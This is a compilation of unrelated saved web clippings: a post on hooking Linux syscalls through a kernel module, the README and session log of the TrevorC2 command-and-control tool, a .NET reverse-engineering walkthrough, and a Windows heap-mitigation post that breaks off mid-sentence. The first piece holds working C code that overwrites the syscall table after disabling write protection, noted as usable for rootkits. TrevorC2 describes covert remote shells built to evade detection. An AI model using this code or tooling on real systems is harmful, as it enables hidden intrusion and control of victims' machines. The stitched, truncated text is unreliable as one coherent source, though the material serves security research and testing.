**Tags:**| _rootkits backdoor_  
  

  

# How to write a rootkit without really trying

  * Post
  * January 17, 2019
  * Leave a comment

We open-sourced a fault injection tool, KRF, that uses kernel-space syscall
interception. You can use it today to find faulty assumptions \(and resultant
bugs\) in your programs. Check it out\!

<img src='img/217030.svg' width='690' height='489' />

* * *
This post covers intercepting system calls from within the Linux kernel, via a
plain old kernel module.

We’ll go through a quick refresher on syscalls and why we might want to
intercept them and then demonstrate a bare-bones module that intercepts the
`read(2)` syscall.

But first, you might be wondering:

> “
> What makes this any different from $other\_fault\_injection\_strategy?
Other fault injection tools rely on a few different techniques:

  * There’s the well-known `LD_PRELOAD` trick, which really intercepts the syscall _wrapper_ exposed by libc \(or your language runtime of choice\). This often works \(and can be extremely useful for e.g. spoofing the system time within a program or using SOCKS proxies transparently\), but comes with some major downsides: 
    * `LD_PRELOAD` only works when libc \(or the target library of choice\) has been dynamically linked, but newer languages \(read: Go\) and deployment trends \(read: fully static builds and non-glibc Linux containers\) have made dynamic linkage less popular.
    * Syscall wrappers frequently deviate significantly from their underlying syscalls: depending on your versions of Linux and glibc `open()` may call `openat(2)`, `fork()` may call `clone(2)`, and other calls may modify their flags or default behavior for POSIX compliance. As a result, it can be difficult to reliably predict whether a given syscall _wrapper_ invokes its syscall namesake.
  * Dynamic instrumentation frameworks like DynamoRIO or Intel PIN can be used to identify system calls at either the function or machine-code level and instrument their calls and/or returns. While this grants us fine-grained access to individual calls, it usually comes with substantial runtime overhead.

Injecting faults within kernelspace sidesteps the downsides of both of these
approaches: it rewrites the actual syscalls directly instead of relying on the
dynamic loader, and it adds virtually no runtime overhead \(beyond checking to
see whether a given syscall is one we’d like to fault\).

> “
> What makes this any different from
> $other\_blog\_post\_on\_syscall\_interception?
Other blog posts address the interception of syscalls, but many:

  * Grab the syscall table by parsing their kernel’s `System.map`, which can be unreliable \(and is slower than the approach we give below\).
  * Assume that the kernel exports `sys_call_table` and that `extern void *sys_call_table` will work \(not true on Linux 2.6+\).
  * Involve prodding large ranges of kernel memory, which is slow and probably dangerous.

Basically, we couldn’t find a recent \(>2015\) blog post that described a
syscall interception process that we liked. So we developed our own.

> “
> Why not just use eBPF or kprobes?
eBPF can’t _intercept_ syscalls. It can only record their parameters and
return types.

The kprobes API _might_ be able to perform interception from within a kernel
module, although I haven’t come across a really good source of information
about it online. In any case, the point here is to do it ourselves\!

> “
> Will this work on $architecture?
For the most part, yes. You’ll need to make some adjustments to the write-
unlocking macro for non-x86 platforms.

## What’s a syscall?

A syscall, or system call, is a function1 that exposes some kernel-managed
resource \(I/O, process control, networking, peripherals\) to user-space
processes. Any program that takes user input, communicates with other
programs, changes files on disk, uses the system time, or contacts another
device over a network \(usually\) does so via syscalls.2

The core UNIX-y syscalls are fairly primitive: `open(2)`, `close(2)`,
`read(2)`, and `write(2)` for the vast majority of I/O; `fork(2)`, `kill(2)`,
`signal(2)`, `exit(2)`, and `wait(2)` for process management; and so forth.

The socket management syscalls are mostly bolted on to the UNIX model:
`send(2)` and `recv(2)` behave much like `read(2)` and `write(2)`, but with
additional transmission flags. `ioctl(2)` is the kernel’s garbage dump,
overloaded to perform every conceivable operation on a file descriptor where
no simpler means exists. Despite these additional complexities in usage, the
underlying principle behind their usage \(and interception\) remains the same.
If you’d like to dive all the way in, Filippo Valsorda maintains an excellent
Linux syscall reference for x86 and x86\_64.

Unlike regular function calls in user-space, syscalls are extraordinarily
expensive: on x86 architectures, `int 80h` \(or the more modern
`sysenter`/`syscall` instructions\) causes both the CPU and the kernel to
execute slow interrupt-handling code paths as well as perform a privilege-
context switch.3

## Why intercept syscalls?

For a few different reasons:

  * We’re interested in gathering statistics about a given syscall’s usage, beyond  
what eBPF or another instrumentation API could \(easily\) provide.

  * We’re interested in fault injection that can’t be avoided by static linking or manual `syscall(3)` invocations \(our use case\).
  * We’re feeling malicious, and we want to write a rootkit that’s hard to remove from user-space \(and possibly even kernel-space, with a few tricks\).4

## Why do I need fault injection?

Fault injection finds bugs in places that fuzzing and conventional unit
testing often won’t:

  * `NULL` dereferences caused by assuming that particular functions never fail \(are you sure you always check whether `getcwd(2)` succeeds?\) Are you sure that you’re doing better than systemd?
  * Memory corruption caused by unexpectedly small buffers, or disclosure caused by unexpectedly large buffers
  * Integer over/underflow caused by invalid or unexpected values \(are you sure you’re not making incorrect assumptions about `stat(2)`‘s `atime`/`mtime`/`ctime` fields?\)

## Getting started: Finding the syscall table

Internally, the Linux kernel stores syscalls within the _syscall table_ , an
array  
of \_\_NR\_syscalls pointers. This table is defined as `sys_call_table`, but
has not been directly exposed as a symbol \(to kernel modules\) since Linux
2.5.

First thing, we need to get the syscall table’s address, ideally without using
the `System.map` file or scanning kernel memory for well-known addresses.
Luckily for us, Linux provides a superior interface than either of these:
`kallsyms_lookup_name`.

This makes retrieving the syscall table as easy as:

123456789101112| `static` `unsigned ``long` `*sys_call_table;` `int`
`init_module(``void``) {`` ``sys_call_table = (``void`
`*)kallsyms_lookup_name(``"sys_call_table"``);` ` ``if` `(sys_call_table ==
NULL) {`` ``printk(KERN_ERR ``"Couldn't look up sys_call_table\n"``);``
``return` `-1;`` ``}` ` ``return` `0;``}`  
---|---  
Of course, this only works if your Linux kernel was compiled with
`CONFIG_KALLSYMS=1`. Debian and Ubuntu provide this, but you may need to test
in other distros. If your distro doesn’t enable kallsyms by default, consider
using a VM for one that does \(you weren’t going to test this code on your
_host_ , were you?\).

## Injecting our replacement syscalls

Now that we have the kernel’s syscall table, injecting our replacement
**should** be as easy as:

1234567891011121314151617181920212223242526272829303132| `static` `unsigned
``long` `*sys_call_table;``static` `typeof(sys_read) *orig_read;` `/*
asmlinkage is important here -- the kernel expects syscall parameters to be``
``* on the stack at this point, not inside registers.`` ``*/``asmlinkage
``long` `phony_read(``int` `fd, ``char` `__user *buf, ``size_t` `count) {``
``printk(KERN_INFO ``"Intercepted read of fd=%d, %lu bytes\n"``, fd, count);`
` ``return` `orig_read(fd, buf, count);``}` `int` `init_module(``void``) {``
``sys_call_table = (``void` `*)kallsyms_lookup_name(``"sys_call_table"``);` `
``if` `(sys_call_table == NULL) {`` ``printk(KERN_ERR ``"Couldn't look up
sys_call_table\n"``);`` ``return` `-1;`` ``}` ` ``orig_read =
(typeof(sys_read) *)sys_call_table[__NR_read];`` ``sys_call_table[__NR_read] =
(``void` `*)&phony_read;` ` ``return` `0;``}` `void` `cleanup_module(``void``)
{`` ``/* Don't forget to fix the syscall table on module unload, or you'll be
in`` ``* for a nasty surprise!`` ``*/`` ``sys_call_table[__NR_read] = (``void`
`*)orig_read;``}`  
---|---  
…but it isn’t that easy, at least not on x86: `sys_call_table` is write-
protected by the CPU itself. Attempting to modify it will cause a page fault
\(`#PF`\) exception.5 To get around this, we twiddle the 16th bit of the `cr0`
register, which controls the write-protect state:

123456| `#define CR0_WRITE_UNLOCK(x) \`` ``do` `{ \`` ``write_cr0(read_cr0() & (~X86_CR0_WP)); \`` ``x; \`` ``write_cr0(read_cr0() | X86_CR0_WP); \`` ``} ``while` `(0)`  
---|---  
Then, our insertions become a matter of:

123| `CR0_WRITE_UNLOCK({`` ``sys_call_table[__NR_read] = (``void`
`*)&phony_read;``});`  
---|---  
and:

123| `CR0_WRITE_UNLOCK({`` ``sys_call_table[__NR_read] = (``void`
`*)orig_read;``});`  
---|---  
and everything works as expected…almost.

We’ve assumed a single processor; there’s an SMP-related race condition bug in
the way we twiddle `cr0`. If our kernel task were preempted immediately after
disabling write-protect and placed onto another core with WP still enabled,
we’d get a page fault instead of a successful memory write. The chances of
this happening are pretty slim, but it doesn’t hurt to be careful by
implementing a guard around the critical section:

12345678910111213| `#define CR0_WRITE_UNLOCK(x) \`` ``do` `{ \`` ``unsigned ``long` `__cr0; \`` ``preempt_disable(); \`` ``__cr0 = read_cr0() & (~X86_CR0_WP); \`` ``BUG_ON(unlikely((__cr0 & X86_CR0_WP))); \`` ``write_cr0(__cr0); \`` ``x; \`` ``__cr0 = read_cr0() | X86_CR0_WP; \`` ``BUG_ON(unlikely(!(__cr0 & X86_CR0_WP))); \`` ``write_cr0(__cr0); \`` ``preempt_enable(); \`` ``} ``while` `(0)`  
---|---  
\(The astute will notice that this is almost identical to the “rare write”
mechanism from PaX/grsecurity. This is not a coincidence: it’s based on it\!\)

## What’s next?

The `phony_read` above just wraps the real `sys_read` and adds a `printk`, but
we could just as easily have it inject a fault:

123| `asmlinkage ``long` `phony_read(``int` `fd, ``char` `__user *buf,
``size_t` `count) {`` ``return` `-ENOSYS;``}`  
---|---  
…or a fault for a particular user:

1234567| `asmlinkage ``long` `phony_read(``int` `fd, ``char` `__user *buf,
``size_t` `count) {`` ``if` `(current_uid().val == 1005) {`` ``return`
`-ENOSYS;`` ``} ``else` `{`` ``return` `orig_read(fd, buf, count);`` ``}``}`  
---|---  
…or return bogus data:

12345678| `asmlinkage ``long` `phony_read(``int` `fd, ``char` `__user *buf,
``size_t` `count) {`` ``unsigned ``char` `kbuf[1024];` ` ``memset``(kbuf,
``'A'``, ``sizeof``(kbuf));`` ``copy_to_user(buf, kbuf, ``sizeof``(kbuf));` `
``return` `sizeof``(kbuf);``}`  
---|---  
Syscalls happen under task context within the kernel, meaning that the  
current task\_struct is valid. Opportunities for poking through kernel
structures abound\!

## Wrap up

This post covers the very basics of kernel-space syscall interception. To do
anything really interesting \(like precise fault injection or statistics
beyond those provided by official introspection APIs\), you’ll need to read a
good kernel module programming guide6 and do the legwork yourself.

Our new tool, KRF, does everything mentioned above and more: it can intercept
and fault syscalls with per-executable precision, operate on an entire syscall
“profile” \(_e.g._ , all syscalls that touch the filesystem or perform process
scheduling\), and can fault in real-time without breaking a sweat. Oh, and
static linkage doesn’t bother it one bit: if your program makes _any_
syscalls, KRF will happily fault them.

## Other work

Outside of kprobes for kernel-space interception and `LD_PRELOAD` for user-
space interception of wrappers, there are a few other clever tricks out there:

  * syscall\_intercept is loaded through `LD_PRELOAD` like a normal wrapper interceptor, but actually uses capstone internally to disassemble \(g\)libc and instrument the syscalls that it makes. This only works on syscalls made by the libc wrappers, but it’s still pretty cool.
  * `ptrace(2)` can be used to instrument syscalls made by a child process, all within user-space. It comes with two considerable downsides, though: it can’t be used in conjunction with a debugger, and it returns \(`PTRACE_GETREGS`\) architecture-specific state on each syscall entry and exit. It’s also slow. Chris Wellons’s awesome blog post covers `ptrace(2)`‘s many abilities.

* * *
  1. More of a “service request” than a “function” in the ABI sense, but thinking about syscalls as a special class of functions is a serviceable-enough fabrication. <img src='' width='18' height='18' alt='↩' />
  2. The number of exceptions to this continues to grow, including user-space networking stacks and the Linux kernel’s vDSO for many frequently called syscalls, like `time(2)`. <img src='' width='18' height='18' alt='↩' />
  3. No _process_ context switch is necessary. Linux executes syscalls within the same underlying kernel task that the process belongs to. But a processor context switch does occur. <img src='' width='18' height='18' alt='↩' />
  4. I won’t detail this because it’s outsite of this post’s scope, but consider that `init_module(2)` and `delete_module(2)` are just normal syscalls. <img src='' width='18' height='18' alt='↩' />
  5. Sidenote: this is actually how CoW works on Linux. `fork(2)` write-protects the pre-duplicated process space, and the kernel waits for the corresponding page fault to tell it to copy a page to the child. <img src='' width='18' height='18' alt='↩' />
  6. This one’s over a decade old, but it covers the basics well. If you run into missing symbols or changed signatures, you should find the current equivalents with a quick search. <img src='' width='18' height='18' alt='↩' />

### Share this:

  * Twitter
  * LinkedIn
  * Reddit
  * Telegram
  * Facebook1K+
  * Email
  * Print
  * 

### _Related_

Ending the Love Affair with ExploitShieldIn "Malware"

An accessible overview of Meltdown and Spectre, Part 1In "Compilers"

A walk down memory laneIn "Compilers"

By William Woodruff

Posted in Engineering Practice, Fuzzing

  

# trustedsec/trevorc2

**Created:**| _3/7/2018 8:41:30 AM_  
---|---  
**Updated:**| _3/7/2018 8:41:30 AM_  
**Author:**| _wishi_  
**Tags:**| _post-exploitation network-security Exfiltration_  
  

  

# trevorc2

# TrevorC2 - Command and Control via Legitimate Behavior over HTTP

Written by: Dave Kennedy \(@HackingDave\) Website: https://www.trustedsec.com

Note that this is a very early release - heavy randomization and encryption to
be added soon.

TrevorC2 is a client/server model for masking command and control through a
normally browsable website. Detection becomes much harder as time intervals
are different and does not use POST requests for data exfil.

[code]

           ,  .'''''.  ...    ''''',  .'           
            ','     ,.MMMM;.;'      '.             
             ;;    ;MMMMMMMMM;     ;;'             
            :'M:  ;MMMMMMMMMMM;.  :M':             
            : M:  MMMMMMMMMMMMM:  :M  .           
           .' M:  MMMMMMMMMMMMM:  :M. ;           
           ; :M'  :MMMMMMMMMMMM'  'M: :           
           : :M: .;"MMMMMMMMM":;. ,M: :           
           :  ::,MMM;.M":::M.;MMM ::' :           
         ,.;    ;MMMMMM;:MMMMMMMM:    :,.         
         MMM.;.,MMMMMMMM;MMMMMMMM;.,;.MMM         
         M':''':MMMMMMMMM;MMMMMMMM: "': M         
         M.:   ;MMMMMMMMMMMMMMMMMM;   : M         
         :::   MMMMMMMMMMM;MMMMMMMM   ::M         
        ,'';   MMMMMMMMMMMM:MMMMMMM   :'".         
      ,'   :   MMMMMMMMMMMM:MMMMMMM   :   '.       
     '     :  'MMMMMMMMMMMMM:MMMMMM   ;     '     
     ,.....;.. MMMMMMMMMMMMM:MMMMMM ..:....;.     
     :MMMMMMMM MMMMMMMMMMMMM:MMMMMM MMMMMMMM:     
     :MM''':"" MMMMMMMMMMMMM:MMMMMM "": "'MM:     
      MM:   :  MMMMMMMMMMMMM:MMMMMM  ,'  :MM       
      'MM   :  :MMMMMMMMMMMM:MMMMM:  :   ;M:       
       :M;  :  'MMMMMMMMMMMMMMMMMM'  :  ;MM       
       :MM. :   :MMMMMMMMMM;MMMMM:   :  MM:       
        :M: :    MMMMMMMMM'MMMMMM'   : :MM'       
        'MM :    "MMMMMMM:;MMMMM"   ,' ;M"         
         'M  :    ""''':;;;'''""    :  M:         
         ;'  :     "MMMMMMMM;."     :  "".         
       ,;    :      :MMMMMMM:;.     :    '.       
      :'     :    ,MM'''""''':M:    :     ';       
     ;'      :    ;M'         MM.   :       ;.     
    
[/code]

There are two components to TrevorC2 - the client and the server. The client
can be configured to be used with anything. In this example it's coded in
Python but can easily be ported to C\#, PowerShell, or whatever you want.
Currently the trevorc2\_client.py supports Windows, MacOS, and Linux. You can
always byte compile the Windows one to get an executable, but preference would
be to use Windows without having to drop an executable as a stager.

The way that the server works is by tucking away a parameter thats right
before the parameter. This is completely configurable, and it's recommended
you configure everything to be unique in order to evade detection. Here is the
workflow:

[code]

    1. trevor2_server.py - edit the file first, and customize, what website you want to clone, etc. The server will clone a website of your choosing and stand up a server. This server is browsable by anyone and looks like a legitimate website. Contained within the source is parameter that (again is configurable), which contains the instructions for the client. Once a client connects, it searches for that parameter, then uses it to execute commands.
    2. trevor2_client.py - all you need in any configurable option is the ability to call out to a website, parse some basic data, and then execute a command and then put the results in a base64 encoded query string parameter to the site. That's it, not hard. 
    3. trevor2_client.ps1 - powershell implementation of trevor2_client.py, this allows you to use native PowerShell to interact with Trevor2_Server.
    
[/code]

## Installation

pip install -r requirements.txt

## Usage

First edit the trevor2\_server.py - change the configuration options and site
to clone.

python trevor2\_server.py

Next, edit the trevor2\_client.py or ps1 - change the configuration and system
you want it to communicate back to.

python trevor2\_client.py or .\trevor2\_client.ps1

## Session Management

TrevorC2 supports the ability to handle multiple shells coming from different
hostnames. The way TrevorC2 works is it will identify new hostnames as
sessions. You can interact with the sessions once you execute a command. If
you have multiple sessions, you can type a command and interact with that
session based on the session number stored globally.

When first starting TrevorC2, you can type help or ? for additional
information. Basic command usage is "list" which will list any active shells
or none at all, or "interact <session\_id>" to interact with the shell you
want.

You can always type back/exit within a shell, it will still remain active and
not actually kill the shell.

Example below:

[code]

    root@stronghold:/home/relik/Desktop/git/trevorc2# python trevorc2_server.py 
    
    TrevorC2 - Legitimate Website Covert Channel
    Written by: David Kennedy (@HackingDave)
    https://www.trustedsec.com
    [*] Cloning website: https://www.google.com
    [*] Site cloned successfully.
    [*] Starting Trevor C2 Server...
    [*] Next, enter the command you want the victim to execute.
    [*] Client uses random intervals, this may take a few.
    [*] Type help for usage. Example commands, list, interact.
    
    trevorc2>help
    *** TrevorC2 Help Menu ***
    
    
    Command Usage:
    
    list - will list all shells available
    interact <id> - allow you to select which shells to interact with
    
    trevorc2>list
    
    *** Available TrevorC2 Shells Below ***
    
    No available TrevorC2 shells.
    
    trevorc2>
    *** Received connection from 127.0.0.1 and hostname stronghold for TrevorC2.
    
    trevorc2>list
    
    *** Available TrevorC2 Shells Below ***
    
    Format: <session_id> <hostname>:<ipaddress>
    
    1. stronghold:127.0.0.1 (Trevor C2 Established)
    
    
    trevorc2>interact 1
    [*] Dropping into trevorc2 shell...
    [*] Use exit or back to select other shells
    stronghold:trevorc2>ifconfig
    [*] Waiting for command to be executed, be patient, results will be displayed here...
    [*] Received response back from client...
    =-=-=-=-=-=-=-=-=-=-=
    (HOSTNAME: stronghold
    CLIENT: 127.0.0.1)
    ens33     Link encap:Ethernet  HWaddr 00:0c:29:63:7c:67  
              inet addr:172.16.37.132  Bcast:172.16.37.255  Mask:255.255.255.0
              inet6 addr: fe80::4b6b:fb52:f109:a7af/64 Scope:Link
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              RX packets:1400907 errors:0 dropped:0 overruns:0 frame:0
              TX packets:2588882 errors:0 dropped:0 overruns:0 carrier:0
              collisions:0 txqueuelen:1000 
              RX bytes:835091244 (835.0 MB)  TX bytes:2623070556 (2.6 GB)
    
    lo        Link encap:Local Loopback  
              inet addr:127.0.0.1  Mask:255.0.0.0
              inet6 addr: ::1/128 Scope:Host
              UP LOOPBACK RUNNING  MTU:65536  Metric:1
              RX packets:453640 errors:0 dropped:0 overruns:0 frame:0
              TX packets:453640 errors:0 dropped:0 overruns:0 carrier:0
              collisions:0 txqueuelen:1000 
              RX bytes:211565776 (211.5 MB)  TX bytes:211565776 (211.5 MB)
    
    
    stronghold:trevorc2>back
    trevorc2>exit
    [*] Exiting TrevorC2... 
    
[/code]

## Dockerfile

Uses an alpine-based Dockerfile to deploy trevorC2, handy for quick
deployement on cloud providers.  
Example below:

[code]

    git clone https://github.com/trustedsec/trevorc2.git
    cd trevorc2
    # At this point, setting up docker-machine to remotly deploy works great
    docker build -t trevorc2 . 
    docker run -it -p 80:80 -p 443:443 trevorc2
[/code]

## TODO

#### Add ability for longer than 2048 data output. Query string parameter
length limited size length.

#### Add do\_POST support for POST exfil on longer data.

#### Add upload/download functionality.

  

# Exploit Monday: Reverse Engineering InternalCall Methods in .NET

**Created:**| _11/17/2013 11:28:32 AM_  
---|---  
**Updated:**| _11/17/2013 11:28:32 AM_  
**Author:**| __  
**Tags:**| _reversing .Net_  
  

# **R** everse Engineering InternalCall Methods in .NET****

Often times, when attempting to reverse engineer a particular .NET method, I
will hit a wall because I’ll dig in far enough into the method’s
implementation that I’ll reach a private method marked
\[MethodImpl\(MethodImplOptions.InternalCall\)\]**.** For example, I was
interested in seeing how the .NET framework loads PE files in memory via a
byte array using the System.Reflection.Assembly.Load\(Byte\[\]\) method**.**
When viewed in ILSpy \(my favorite .NET decompiler\), it will show the
following implementation:

<img src='img/Temp2_2915.png' />

So the first thing it does is check to see if you’re allowed to load a PE
image in the first place via the CheckLoadByteArraySupported method**.**
Basically, if the executing assembly is a tile app, then you will not be
allowed to load a PE file as a byte array**.** It then calls the
RuntimeAssembly.nLoadImage method**.** If you click on this method in ILSpy,
you will be disappointed to find that there does not appear to be a managed
implementation**.**

<img src='img/Temp2_2917.png' />

As you can see, all you get is a method signature and an InternalCall
property**.** To begin to understand how we might be able reverse engineer
this method, we need to know the definition of InternalCall**.** According to
MSDN documentation , InternalCall refers to a method call that “is internal,
that is, it calls a method that is implemented within the common language
runtime**.** ” So it would seem likely that this method is implemented as a
native function in clr.dll**.** To validate my assumption, let’s use Windbg
with sos.dll – the managed code debugger extension**.** My goal using Windbg
will be to determine the native pointer for the nLoadImage method and see if
it jumps to its respective native function in clr.dll**.** I will attach
Windbg to PowerShell since PowerShell will make it easy to get the information
needed by the SOS debugger extension**.** The first thing I need to do is get
the metadata token for the nLoadImage method**.** This will be used in Windbg
to resolve the method.

<img src='img/Temp2_2916.png' />

As you can see, the Get-ILDisassembly  function in PowerSploit conveniently
provides the metadata token for the nLoadImage method**.** Now on to Windbg
for further analysis…

<img src='img/Temp2_2913.png' />

The following commands were executed:

1\) .loadby sos clr

Load the SOS debugging extension from the directory that clr.dll is loaded
from

2\) **\!** Token2EE mscorlib.dll 0x0600278C

Retrieves the MethodDesc of the nLoadImage method**.** The first argument
\(mscorlib.dll\) is the module that implements the nLoadImage method and the
hex number is the metadata token retrieved from PowerShell**.**

3\) \!DumpMD 0x634381b0

I then dump information about the MethodDesc**.** This will give the address
of the method table for the object that implements nLoadImage

4\) **\!** DumpMT -MD 0x636e42fc

This will dump all of the methods for the System.Reflection.RuntimeAssembly
class with their respective native entry point**.** nLoadImage has the
following entry:

**635910a0** 634381b0 NONE
System.Reflection.RuntimeAssembly.nLoadImage\(Byte\[\], Byte\[\],
System.Security.Policy.Evidence, System.Threading.StackCrawlMark ByRef,
Boolean, System.Security.SecurityContextSource\)

So the native address for nLoadImage is 0x635910a0**.** Now, set a breakpoint
on that address, let the program continue execution and use PowerShell to call
the Load method on a bogus PE byte array**.**

PS C:\> \[Reflection.Assembly\]::Load\(\(\[Byte\[\]\]@\(1,2,3\)\)\)

You’ll then hit your breakpoint in WIndbg and if you disassemble from where
you landed, the function that implements the nLoadImage method will be crystal
clear – clr**\!** AssemblyNative::LoadImage

<img src='img/Temp2_2914.png' />

You can now use IDA for further analysis and begin digging into the actual
implementation of this InternalCall method**\!**

<img src='img/Temp2_2918.png' />

After digging into some of the InternalCall methods in IDA you’ll quickly see
that most functions use the fastcall convention**.** In x86, this means that a
static function will pass its first two arguments via ECX and EDX**.** If it’s
an instance function, the ‘this’ pointer will be passed via ECX \(as is
standard in thiscall\) and its first argument via EDX**.** Any remaining
arguments are pushed onto the stack.

So for the handful of people that have wondered where the implementation for
an InternalCall method lies, I hope this post has been helpful**.**

****

# Software Defense: mitigating heap corruption vulnerabilities - Security
Research & Defense - Site Home - TechNet Blogs

**Created:**| _10/29/2013 11:35:02 AM_  
---|---  
**Updated:**| _10/29/2013 11:35:02 AM_  
**Author:**| __  
**Tags:**| _Heap memory-manager win8_  
  

# **S** oftware Defense: mitigating heap corruption vulnerabilities****

swiat

29 Oct 2013 4:10 AM

Heap corruption vulnerabilities are the most common type of vulnerability that
Microsoft addresses through security updates today**.** These vulnerabilities
typically occur as a result of programming mistakes that make it possible to
write beyond the bounds of a heap buffer \(a _spatial_ issue\) or to place a
heap allocated object in an unexpected state such as by using the object after
it has been freed \(a _temporal_ issue\)**.** Over time, attackers have
developed a number of techniques to help them exploit various types of heap
corruption vulnerabilities**.** Starting with Windows XP Service Pack 2,
Microsoft began introducing hardening changes to the Windows heap manager that
were designed to make it more difficult to exploit heap corruption
vulnerabilities**.** In this blog post, we will review some of the general
methods that have been used to exploit and mitigate heap corruption
vulnerabilities and highlight hardening changes that have been made in Windows
8 and Windows 8**.** 1 to further complicate exploitation**.** For more
background on the Windows 8 heap architecture, please refer to the Channel 9
interview on the Windows 8 heap manager **.**

# Heap corruption exploitation, then and now****

In a previous blog post , we covered the history of heap-based exploitation
and mitigation techniques from Windows XP through Windows 7**.** This blog
post showed that prior to Windows Vista, most of the research on heap
corruption exploitation techniques focused on corrupting heap metadata in
order to achieve more powerful exploitation primitives \(such as the ability
to write an arbitrary value to any location in memory\)**.** One of the
reasons attackers focused on corrupting heap metadata is because it was always
present and therefore could enable application-independent \(generic\)
exploitation techniques**.** The release of Windows Vista changed the
landscape of heap exploitation through numerous heap hardening changes that
addressed nearly all of the heap metadata corruption exploitation techniques
that were known at the time**.**

As a consequence of the hardening changes in Windows Vista, attackers have
largely shifted their focus toward exploitation techniques that rely on
corrupting application-specific data stored on the heap**.** For example,
attackers will attempt to use a heap corruption vulnerability to corrupt the
C++ virtual table pointer of an object on the heap or to corrupt the base or
length field of a heap-allocated array to achieve the ability to read or write
to any location in memory**.** There has been additional research on heap
metadata corruption post-Windows Vista and there are a small number of known
real-world exploits that have relied on these metadata corruption
techniques\[1,2,3,4\], but as this blog post will show, all of the publicly
known exploitation techniques that rely on metadata corruption have been
addressed in Windows 8**.** 1.

# Heap corruption mitigations****

The heap manager in Windows 8 and Windows 8**.** 1 builds on the hardening
changes of previous Windows releases by incorporating new security features
that mitigate not only metadata corruption techniques but also less generic
techniques that rely on corrupting application-specific data**.** These new
security features can be broken down into the following threat categories:
heap integrity checks, guard pages, and allocation order randomization**.**
All of the security features introduced in Windows 8 have been inherited by
Windows 8**.** 1.

Heap integrity checks

The heap manager in Windows 8 and Windows 8**.** 1 includes a number of new
integrity checks that are designed to detect heap metadata corruption and
terminate an application safely if corruption is detected**.** This section
describes some of the noteworthy integrity checks that have been added**.**

Catch-all exception handling blocks have been removed

Previous versions of the Windows heap made use of catch-all exception handling
blocks in certain cases where exceptions were considered non-fatal**.** This
had the potential to make it easier for attackers to exploit heap corruption
issues in certain cases, in particular by allowing an attacker multiple attack
attempts**.** Therefore, these catch-all blocks have been removed from the
heap in Windows 8, meaning such exceptions now lead to safe termination of the
application**.**

HEAP handle can no longer be freed

The HEAP handle is an internal data structure that is used to maintain the
state associated with a given heap**.** Prior to Windows 8, an attacker could
use a heap-based memory corruption vulnerability to coerce the heap into
freeing the HEAP handle data structure**.** After doing this, the attacker
could force the heap to reallocate the memory that previously stored the HEAP
handle state**.** This in turn allowed an attacker to corrupt internal heap
metadata, including certain function pointer fields**.** The Windows 8 heap
mitigates this attack by preventing a HEAP handle from being freed**.**

HEAP CommitRoutine encoded by a global key

The HEAP handle data structure includes a function pointer field called
CommitRoutine that is called when memory regions within the heap are
committed**.** Starting with Windows Vista, this field was encoded using a
random value that was also stored as a field in the HEAP handle data
structure**.** While this mitigated trivial corruption of only the
CommitRoutine function pointer, it did not mitigate the case where an attacker
could corrupt both the CommitRoutine and the field that stored the encoding
key**.** The Windows 8 heap mitigates this attack by using a global key to
encode the CommitRoutine function pointer rather than a key that is stored
within the HEAP handle data structure**.**

Extended block header validation

Each heap allocation returned by the Windows heap has a header that describes
the allocation’s size, flags, and other attributes**.** In some cases, the
Windows heap may flag an allocation as having an _extended block header_ which
informs the heap that there is additional metadata associated with the
allocation**.** In previous versions of Windows, an attacker could corrupt the
header of an allocation and make it appear as if the allocation had an
extended block header**.** This could then be used by an attacker to force the
heap to free another allocation that is currently in use by the program**.**
The Windows 8 heap mitigates this attack by performing additional validation
on extended block headers to ensure that they are correct**.**

Blocks cannot be allocated if they are already busy

Some of the attacks that have been proposed by security researchers rely on
reallocating memory that is already in use by the program \(e**.** g. \[3\]\).
This can allow an attacker to corrupt the state of an in-use heap allocation,
such as a C++ object, and thereby gain control of the instruction pointer**.**
The Windows 8 heap mitigates this attack by verifying that an allocation is
not already flagged as in-use \(“busy”\) when it is about to be allocated**.**
If a block is flagged as in-use, the heap takes steps to safely terminate the
process**.**

Encoded FirstAllocationOffset and BlockStride

One of the exploitation techniques proposed in \[4\] involved corrupting heap
metadata \(FirstAllocationOffset and BlockStride\) that is used by the Low
Fragmentation Heap \(LFH\) to calculate the address of an allocation within a
subsegment**.** By corrupting these fields, an attacker can trick the heap
into returning an address that is outside the bounds of a subsegment and
potentially enable corruption of other in-use heap allocations**.** The heap
manager in Windows 8.1 addresses this attack by encoding the
FirstAllocationOffset and BlockStride fields in order to limit an attacker’s
ability to deterministically control the calculation of allocation addresses
by the LFH**.**

Guard pages

One of the ways that the Windows 8 heap better protects application data and
heap metadata is through the use of _guard pages_**.** In this context, a
guard page is an inaccessible page of memory that will cause an access
violation if an application attempts to read from it or write to it**.**
Placing a guard page between certain types of sub-regions within the heap
helps to partition the heap and localize any memory corruptions that may
occur**.**

In an ideal setting, the Windows heap would encapsulate all allocations in
guard pages in a manner that is similar to full-page heap verification **.**
Unfortunately, this type of protection is not feasible for performance
reasons**.** Instead, the Windows 8 heap uses guard pages to isolate certain
types of sub-regions within the heap**.** In particular, guard pages are
enabled for the following types of sub-regions:

  * **Large allocations****.** In cases where an application attempts to allocate memory that is larger than 512K \(on 32-bit\) or 1MB \(on 64-bit\), the memory allocation request is passed directly to the virtual memory allocator and the size is updated to allocate extra space for a guard page**.** This ensures that all large allocations have a trailing guard page**.**
  * **Heap segments**. The Windows heap allocates large chunks of memory, known as heap segments, which are divided up as an application allocates memory**.** The Windows 8 heap adds a trailing guard page to all heap segments when they are allocated**.**
  * **Maximally-sized subsegments****.** Each heap segment may contain one or more subsegment that is used by the frontend allocator \(the Low Fragmentation Heap, or LFH\) to allocate blocks of the same size**.** Once a certain threshold has been reached for allocating blocks of a given size, the LFH will begin allocating _maximally-sized subsegments_ , which are subsegments that contain the maximum number of blocks possible for a given size**.** The Windows 8 heap adds a trailing guard page to maximally-sized subsegments**.** For 32-bit applications, guard pages are inserted probabilistically to minimize the amount of virtual address space that is consumed**.**

Allocation order randomization

One of the behaviors that attackers rely on when exploiting heap buffer
overruns is that there must be a way to reliably position certain heap
allocations adjacent to one another**.** This requirement stems from the fact
that an attacker needs to know how many bytes must be written in order to
corrupt a target allocation on the heap \(while minimizing collateral damage
to the heap that could cause the application and hence the attack to be
terminated\)**.** Attackers typically try to ensure that allocations are
immediately adjacent to each other through techniques that are often referred
to as _heap massaging_ or _heap normalization_**.** These techniques attempt
to bring the heap into a state where new allocations are placed at a desired
location with respect to one another**.**

In Windows 8, a new security feature has been added to the LFH which
randomizes the order of allocations**.** This means that allocations that are
made through the LFH are no longer guaranteed to be placed immediately
adjacent to one another even after an attacker has attempted to normalize the
